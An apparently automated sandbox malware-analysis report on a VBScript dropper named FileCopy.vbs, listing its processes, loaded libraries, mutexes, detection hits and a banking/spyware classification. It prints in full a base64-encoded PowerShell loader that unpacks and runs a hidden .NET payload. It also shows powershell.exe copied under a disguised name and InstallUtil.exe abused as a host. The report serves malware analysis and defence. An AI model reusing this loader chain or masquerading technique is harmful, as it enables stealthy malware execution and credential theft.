Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05765AC8	6_2_05765AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05765AB8	6_2_05765AB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05820223	6_2_05820223
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05820230	6_2_05820230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05826D93	6_2_05826D93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05826D98	6_2_05826D98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05DBC4C8	6_2_05DBC4C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0705EBD8	6_2_0705EBD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0705A158	6_2_0705A158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_070599F8	6_2_070599F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_07050006	6_2_07050006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_07050040	6_2_07050040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0705007E	6_2_0705007E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_07050093	6_2_07050093
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_070534E5	6_2_070534E5

Source: FileCopy.vbs

Initial sample: Strings found which are bigger than 50

Source: FileCopy.vbs.exe, 00000004.00000002.1435487316.0000000009920000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRtcyrufjb.dll" vs FileCopy.vbs
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000005225000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOkwquw.exe" vs FileCopy.vbs
Source: FileCopy.vbs.exe, 00000004.00000002.1418126581.000000000626D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOkwquw.exe" vs FileCopy.vbs
Source: FileCopy.vbs.exe, 00000004.00000002.1400743684.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs FileCopy.vbs
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004CCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOkwquw.exe" vs FileCopy.vbs
Source: FileCopy.vbs.exe, 00000004.00000000.1372073438.0000000000EF4000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs FileCopy.vbs
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.00000000049A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs FileCopy.vbs
Source: FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs FileCopy.vbs
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.00000000049F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs FileCopy.vbs
Source: FileCopy.vbs.exe, 00000004.00000002.1441347200.0000000009DB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs FileCopy.vbs
Source: FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs FileCopy.vbs
Source: FileCopy.vbs.exe.2.dr	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs FileCopy.vbs

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2294
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2294			Jump to behavior

Source: Process Memory Space: FileCopy.vbs.exe PID: 7472, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 4.2.FileCopy.vbs.exe.638bd08.1.raw.unpack, EditorService.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.FileCopy.vbs.exe.638bd08.1.raw.unpack, EditorService.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.FileCopy.vbs.exe.638bd08.1.raw.unpack, DeciderConsumer.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.bank.spyw.evad.winVBS@8/4@1/1

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Desktop\FileCopy.vbs.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\4ee21c8286093b29
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03

Source: C:\Users\user\Desktop\FileCopy.vbs.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5xirths.g21.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs"

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000003172000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\FileCopy.vbs.exe

File read: C:\Users\user\Desktop\FileCopy.vbs

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\FileCopy.vbs.exe" /Y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\FileCopy.vbs.exe "C:\Users\user\Desktop\FileCopy.vbs.exe" -enc JABJAHYAaQBpAGIAcwBtAGYAaQBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEEAdAB0AGsAdgB5AGcAIAA9ACAAZwBlAHQALQBjAG8AbgB0AGUAbgB0ACAAJABJAHYAaQBpAGIAcwBtAGYAaQBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABrAHYAeQBnAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABSAHcAaQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgACkAOwAkAFgAbwBmAHAAYQBlAGwAbwBqACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABZAHgAbAB2AGYAZgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFIAdwBpAG4AdwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbwBwAHkAVABvACgAIAAkAFgAbwBmAHAAYQBlAGwAbwBqACAAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbABvAHMAZQAoACkAOwAkAFIAdwBpAG4AdwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIAAkAFgAbwBmAHAAYQBlAGwAbwBqAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABDAGkAdABsAG0AZwBqAG4AdABsAGkAKQA7ACAAJABPAGMAaABpAHkAaAB3AGgAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAQwBpAHQAbABtAGcAagBuAHQAbABpACkAOwAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3ACAAPQAgACQATwBjAGgAaQB5AGgAdwBoAHMAbQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAE0AcQBkAHIAdABrAG0AcABmAG4AdwAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\FileCopy.vbs.exe "C:\Users\user\Desktop\FileCopy.vbs.exe" -enc JABJAHYAaQBpAGIAcwBtAGYAaQBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEEAdAB0AGsAdgB5AGcAIAA9ACAAZwBlAHQALQBjAG8AbgB0AGUAbgB0ACAAJABJAHYAaQBpAGIAcwBtAGYAaQBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABrAHYAeQBnAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABSAHcAaQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgACkAOwAkAFgAbwBmAHAAYQBlAGwAbwBqACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABZAHgAbAB2AGYAZgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFIAdwBpAG4AdwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbwBwAHkAVABvACgAIAAkAFgAbwBmAHAAYQBlAGwAbwBqACAAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbABvAHMAZQAoACkAOwAkAFIAdwBpAG4AdwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIAAkAFgAbwBmAHAAYQBlAGwAbwBqAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABDAGkAdABsAG0AZwBqAG4AdABsAGkAKQA7ACAAJABPAGMAaABpAHkAaAB3AGgAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAQwBpAHQAbABtAGcAagBuAHQAbABpACkAOwAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3ACAAPQAgACQATwBjAGgAaQB5AGgAdwBoAHMAbQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAE0AcQBkAHIAdABrAG0AcABmAG4AdwAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: napinsp.dll	Jump to behavior
